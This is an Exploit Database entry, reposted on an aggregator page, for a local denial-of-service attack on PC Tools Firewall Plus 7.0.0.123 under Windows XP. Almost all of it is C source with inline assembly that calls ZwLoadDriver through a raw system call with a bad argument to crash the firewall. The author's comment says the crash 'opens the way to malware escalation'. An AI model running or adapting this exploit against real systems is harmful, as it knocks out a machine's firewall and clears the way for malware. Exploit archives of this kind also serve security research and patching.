PC Tools Firewall Plus 7.0.0.123 – Local Denial of Service

• Exploit Database
• 15 阅读

• 作者： 0in
  日期： 2012-06-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19453/

• /* 
  Exploit Title: PC Tools Firewall Plus Local DoS
  Version: 7.0.0.123
  Author: 0in (Maksymilian Motyl)
  Software Link: www.pctools.com
  Tested on: Windows XP SP3
  Vendor was notified 25.06.2012 - No reply
  */
  
  // After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation
  #include "stdafx.h"
  #include <Windows.h>
   
  int _tmain(int argc, _TCHAR* argv[])
  {
  	for(int i=0;i<512;i++)
  		printf(".");
   _asm
   {
  push 0xffffff
  mov eax,61h ;ZwLoadDriver 
  mov edx,7FFE0300h ; ntdll.KiFastSystemCall
  call dword ptr ds:[edx]
   
   }
   
   
   return 0;
  }